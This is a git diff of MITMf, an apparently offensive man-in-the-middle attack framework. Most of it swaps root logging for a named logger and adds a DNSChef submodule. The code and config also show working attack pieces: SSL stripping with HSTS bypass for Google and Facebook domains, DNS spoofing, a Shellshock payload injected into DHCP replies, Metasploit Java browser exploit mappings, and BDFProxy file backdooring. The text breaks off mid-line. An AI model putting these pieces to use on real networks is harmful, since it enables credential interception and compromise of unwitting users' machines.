diff --git a/.gitmodules b/.gitmodules index fbdd874..ca49b01 100644 --- a/.gitmodules +++ b/.gitmodules @@ -7,3 +7,6 @@ [submodule "core/beefapi"] path = core/beefapi url = https://github.com/byt3bl33d3r/beefapi +[submodule "libs/dnschef"] + path = libs/dnschef + url = https://github.com/byt3bl33d3r/dnschef diff --git a/README.md b/README.md index fc72ea7..e6364b1 100644 --- a/README.md +++ b/README.md @@ -11,13 +11,9 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox Dependency change! =================== -As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. +As of v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. -Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. - -Installation -============ -If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file +**Please read the [install](#installation) guide for details** Availible plugins ================= @@ -64,6 +60,13 @@ Changelog - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +Installation +============ +If MITMf is not in your distros repo or you just want the latest version, clone this repository run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file using ```pip```. + +Then, download the ```python-netfilterqueue``` library from here +https://github.com/fqrouter/python-netfilterqueue and manually install it. + Submitting Issues ================= If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com diff --git a/config/mitmf.cfg b/config/mitmf.conf similarity index 72% rename from config/mitmf.cfg rename to config/mitmf.conf index 693ebb2..469f737 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.conf @@ -1,8 +1,14 @@ -#MITMf configuration +# +#MITMf configuration file +# [MITMf] - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) + # + #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` + #(assuming you config file is in the default directory) + # + args='' #Required BeEF and Metasploit options @@ -17,9 +23,9 @@ rpcip = 127.0.0.1 rpcpass = abc123 -#-----------------------------------------------------------------------------------------------------------------------------------------# - +# #Plugin configuration starts here +# [Spoof] @@ -28,10 +34,53 @@ subnet = 255.255.255.0 dns_server = 192.168.2.20 #optional + [[DNS]] - www.facebook.com = 192.168.10.1 - google.com = 192.168.20.61 + # + #Here you can configure DNSChef's options + # + + port = 53 #Port to listen on + nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + tcp = Off #Use the TCP DNS proxy instead of the default UDP + ipv6 = Off #Run in IPv6 mode + + [[[A]]] # Queries for IPv4 address records + *.thesprawl.org=192.0.2.1 + + [[[AAAA]]] # Queries for IPv6 address records + *.thesprawl.org=2001:db8::1 + + [[[MX]]] # Queries for mail server records + *.thesprawl.org=mail.fake.com + + [[[NS]]] # Queries for mail server records + *.thesprawl.org=ns.fake.com + + [[[CNAME]]] # Queries for alias records + *.thesprawl.org=www.fake.com + + [[[TXT]]] # Queries for text records + *.thesprawl.org=fake message + + [[[PTR]]] # PTR queries + *.2.0.192.in-addr.arpa=fake.com + + [[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5 + *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 + + [[[NAPTR]]] #FORMAT: order preference flags service regexp replacement + *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . + + [[[SRV]]] #FORMAT: priority weight port target + *.*.thesprawl.org=0 5 5060 sipserver.fake.com + + [[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key) + *.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w== + + [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig) + *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= [Responder] @@ -192,8 +241,11 @@ #you can add other scripts in additional sections like jQuery etc. [JavaPwn] + + # # All versions strings without a * are considered vulnerable if clients Java version is <= update version # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + # [[Multi]] #Cross platform exploits, yay java! <3 @@ -221,8 +273,10 @@ windows/browser/java_mixer_sequencer = 1.6.0.18 [SSLstrip+] - #here you can configure your domains to bypass HSTS on - #the format is real.domain.com = fake.domain.com + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # #for google and gmail accounts.google.com = account.google.com @@ -232,46 +286,43 @@ #for facebook www.facebook.com = social.facebook.com -#-----------------------------------------------------------------------------------------------------------------------------------------# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -#-----------------------------------------------------------------------------------------------------------------------------------------# - [FilePwn] + + # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' + # + # Author Joshua Pitts the.midnite.runr 'at' gmail com + # + # Copyright (c) 2013-2014, Joshua Pitts + # All rights reserved. + # + # Redistribution and use in source and binary forms, with or without modification, + # are permitted provided that the following conditions are met: + # + # 1. Redistributions of source code must retain the above copyright notice, + # this list of conditions and the following disclaimer. + # + # 2. Redistributions in binary form must reproduce the above copyright notice, + # this list of conditions and the following disclaimer in the documentation + # and/or other materials provided with the distribution. + # + # 3. Neither the name of the copyright holder nor the names of its contributors + # may be used to endorse or promote products derived from this software without + # specific prior written permission. + # + # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + # POSSIBILITY OF SUCH DAMAGE. + # + # Tested on Kali-Linux. + [[ZIP]] # patchCount is the max number of files to patch in a zip file # After the max is reached it will bypass the rest of the files diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index f5d92a8..7df4255 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -34,7 +34,8 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache from core.sergioproxy.ProxyPlugins import ProxyPlugins -from configobj import ConfigObj + +mitmf_logger = logging.getLogger('mitmf') class ClientRequest(Request): @@ -58,7 +59,7 @@ class ClientRequest(Request): headers = self.getAllHeaders().copy() #for k,v in headers.iteritems(): - # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) + # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) if self.hsts: @@ -73,13 +74,13 @@ class ClientRequest(Request): if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) + mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - logging.debug("Zapped encoding") + mitmf_logger.debug("Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -110,7 +111,7 @@ class ClientRequest(Request): return "lock.ico" def handleHostResolvedSuccess(self, address): - logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -148,22 +149,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") + mitmf_logger.debug("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") + mitmf_logger.debug("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - logging.debug("Sending request via SSL...(%s %s)" % (client,url)) + mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - logging.debug("Sending request via HTTP...") + mitmf_logger.debug("Sending request via HTTP...") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -182,14 +183,14 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) + mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) return defer.succeed(address) else: - logging.debug("[ClientRequest] Host not cached.") + mitmf_logger.debug("[ClientRequest] Host not cached.") return reactor.resolve(host) def process(self): - logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) + mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 6f4e678..926835a 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -18,6 +18,8 @@ import logging +mitmf_logger = logging.getLogger('mitmf') + class DnsCache: ''' @@ -49,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) + mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index dd66c6f..406d100 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -21,6 +21,8 @@ import logging, re, string from ServerConnection import ServerConnection from URLMonitor import URLMonitor +mitmf_logger = logging.getLogger('mitmf') + class SSLServerConnection(ServerConnection): ''' @@ -55,11 +57,11 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) + mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.sustitucion if dominio in real: v=" Domain=%s"%real[dominio] - logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) + mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) @@ -83,13 +85,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - logging.debug("Found path-relative link in secure transmission: " + link) - logging.debug("New Absolute path-relative link: " + absoluteLink) + mitmf_logger.debug("Found path-relative link in secure transmission: " + link) + mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - logging.debug("Found relative link in secure transmission: " + link) - logging.debug("New Absolute link: " + absoluteLink) + mitmf_logger.debug("Found relative link in secure transmission: " + link) + mitmf_logger.debug("New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 5a3a8ab..43ec557 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -28,6 +28,8 @@ from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins +mitmf_logger = logging.getLogger('mitmf') + class ServerConnection(HTTPClient): ''' The server connection is where we do the bulk of the stripping. Everything that @@ -72,14 +74,14 @@ class ServerConnection(HTTPClient): except: self.clientInfo = "%s " % self.client.getClientIP() - logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) + mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - logging.debug("Sending header: (%s => %s)" % (header, value)) + mitmf_logger.debug("Sending header: (%s => %s)" % (header, value)) self.sendHeader(header, value) self.endHeaders() @@ -94,7 +96,7 @@ class ServerConnection(HTTPClient): self.transport.write(self.postData) def connectionMade(self): - logging.debug("HTTP connection made.") + mitmf_logger.debug("HTTP connection made.") self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -103,11 +105,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - logging.debug("Got server response: %s %s %s" % (version, code, message)) + mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -117,15 +119,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - logging.debug("Response is image content, not scanning...") + mitmf_logger.debug("Response is image content, not scanning...") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - logging.debug("Response is compressed...") + mitmf_logger.debug("Response is compressed...") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) + mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) elif (key.lower() == 'content-length'): self.contentLength = value @@ -162,10 +164,10 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - logging.debug("Decompressing content...") + mitmf_logger.debug("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - #logging.debug("Read from server:\n" + data) + #mitmf_logger.debug("Read from server:\n" + data) data = self.replaceSecureLinks(data) res = self.plugins.hook() @@ -182,7 +184,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - logging.info("Client connection dropped before request finished.") + mitmf_logger.info("Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -198,9 +200,9 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("[ServerConnection] Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) + mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) @@ -209,11 +211,11 @@ class ServerConnection(HTTPClient): dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - #logging.debug("HSTS DEBUG received data:\n"+data) + #mitmf_logger.debug("HSTS DEBUG received data:\n"+data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #if data.find("http://w.face")!=-1: - # logging.debug("HSTS DEBUG Found error in modifications") + # mitmf_logger.debug("HSTS DEBUG Found error in modifications") # raw_input("Press Enter to continue") #return re.sub(ServerConnection.urlType, 'http://web.', data) return data @@ -225,7 +227,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("Found secure reference: " + url) + mitmf_logger.debug("Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index d6eb18e..759eaef 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -19,6 +19,8 @@ import logging from twisted.internet.protocol import ClientFactory +mitmf_logger = logging.getLogger('mimtf') + class ServerConnectionFactory(ClientFactory): def __init__(self, command, uri, postData, headers, client): @@ -32,12 +34,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") + mitmf_logger.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - logging.debug("Retrying via SSL") + mitmf_logger.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index d3b34f4..2f3c58d 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -19,6 +19,8 @@ import re, os import logging +mitmf_logger = logging.getLogger('mimtf') + class URLMonitor: ''' @@ -72,7 +74,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) + mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -111,10 +113,10 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) url = 'http://' + host + path - #logging.debug("HSTS stripped URL: %s %s"%(client, url)) + #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) @@ -161,10 +163,10 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host) + mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host) if self.real.has_key(host): - logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) return self.real[host] else: - logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host) + mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host) return host diff --git a/core/utils.py b/core/utils.py index 7ac1498..1a3d608 100644 --- a/core/utils.py +++ b/core/utils.py @@ -41,8 +41,8 @@ class SystemConfig: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) @staticmethod - def DNS(queue_number): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) + def DNS(ip, port): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) class Banners: diff --git a/core/wrappers/protocols.py b/core/wrappers/protocols.py index 0e06696..c61d365 100644 --- a/core/wrappers/protocols.py +++ b/core/wrappers/protocols.py @@ -32,6 +32,8 @@ from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * +mitmf_logger = logging.getLogger('mitmf') + class _DHCP(): def __init__(self, interface, dhcpcfg, ip, mac): @@ -79,8 +81,8 @@ class _DHCP(): self.dhcp_dic[xid] = client_ip if resp[DHCP].options[0][1] is 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") + mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + mitmf_logger.info("Sending DHCP OFFER") packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / UDP(sport=67, dport=68) / @@ -102,7 +104,7 @@ class _DHCP(): sendp(packet, iface=self.interface, verbose=self.debug) if resp[DHCP].options[0][1] is 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / UDP(sport=67, dport=68) / @@ -121,11 +123,11 @@ class _DHCP(): pass if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") + mitmf_logger.info("Sending DHCP ACK with shellshock payload") packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) packet[DHCP].options.append("end") else: - logging.info("Sending DHCP ACK") + mitmf_logger.info("Sending DHCP ACK") packet[DHCP].options.append("end") sendp(packet, iface=self.interface, verbose=self.debug) @@ -250,10 +252,11 @@ class _DNS(): hstscfg = None dnscfg = None _instance = None - nfqueue = NetfilterQueue() + nfqueue = None queue_number = 0 def __init__(self): + self.nfqueue = NetfilterQueue() t = threading.Thread(name='nfqueue', target=self.bind, args=()) t.setDaemon(True) t.start() @@ -292,7 +295,7 @@ class _DNS(): def resolve_domain(self, domain): try: - logging.debug("Resolving -> %s" % domain) + mitmf_logger.debug("Resolving -> %s" % domain) answer = dns.resolver.query(domain, 'A') real_ips = [] for rdata in answer: @@ -302,11 +305,11 @@ class _DNS(): return real_ips except Exception: - logging.info("Error resolving " + domain) + mitmf_logger.info("Error resolving " + domain) def callback(self, payload): try: - #logging.debug(payload) + #mitmf_logger.debug(payload) pkt = IP(payload.get_payload()) if not pkt.haslayer(DNSQR): @@ -314,7 +317,7 @@ class _DNS(): return if pkt.haslayer(DNSQR): - logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) if self.dns: for k, v in self.dnscfg.items(): if k in pkt[DNSQR].qname: @@ -359,13 +362,13 @@ class _DNS(): spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field for i in ip: spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) payload.set_payload(str(spoofed_pkt)) payload.accept() if self.dns: spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) payload.set_payload(str(spoofed_pkt)) payload.accept() diff --git a/libs/dnschef b/libs/dnschef new file mode 160000 index 0000000..88a9c08 --- /dev/null +++ b/libs/dnschef @@ -0,0 +1 @@ +Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af diff --git a/logs/.gitignore b/logs/.gitignore index 13038f6..4f167e8 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -1,3 +1,4 @@ * !.gitignore !responder/ +!dnschef/ diff --git a/logs/dnschef/.gitignore b/logs/dnschef/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/logs/dnschef/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/mitmf.py b/mitmf.py index 1f6ca9c..d8a5c80 100755 --- a/mitmf.py +++ b/mitmf.py @@ -60,7 +60,7 @@ parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM att mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") -mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") +mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use") mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') #added by alexander.georgiev@daloo.de mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') @@ -147,11 +147,11 @@ log_level = logging.__dict__[args.log_level.upper()] #Start logging logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -rootLogger = logging.getLogger() +mitmf_logger = logging.getLogger('mitmf') fileHandler = logging.FileHandler("./logs/mitmf.log") fileHandler.setFormatter(logFormatter) -rootLogger.addHandler(fileHandler) +mitmf_logger.addHandler(fileHandler) ##################################################################################################### @@ -173,6 +173,7 @@ for p in plugins: if p.output: for line in p.output: print "| |_ %s" % line + p.output.remove(line) except Exception, e: print "[-] Error loading plugin %s: %s" % (p.name, str(e)) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index f315010..667cb7a 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -30,6 +30,8 @@ from plugins.plugin import Plugin from datetime import date from core.sslstrip.URLMonitor import URLMonitor +mitmf_logger = logging.getLogger('mitmf') + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" @@ -61,22 +63,22 @@ class AppCachePlugin(Plugin): if "enable_only_in_useragents" in self.config: regexp = self.config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): - logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) + mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) return {'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) - logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) (name,s,element,url) = self.getSectionForUrls(urls) if s is False: data = self.tryMassPoison(url, data, headers, req_headers, ip) return {'request': request, 'data': data} - logging.info("%s Found URL %s in section %s" % (ip, url, name)) + mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) p = self.getTemplatePrefix(s) if 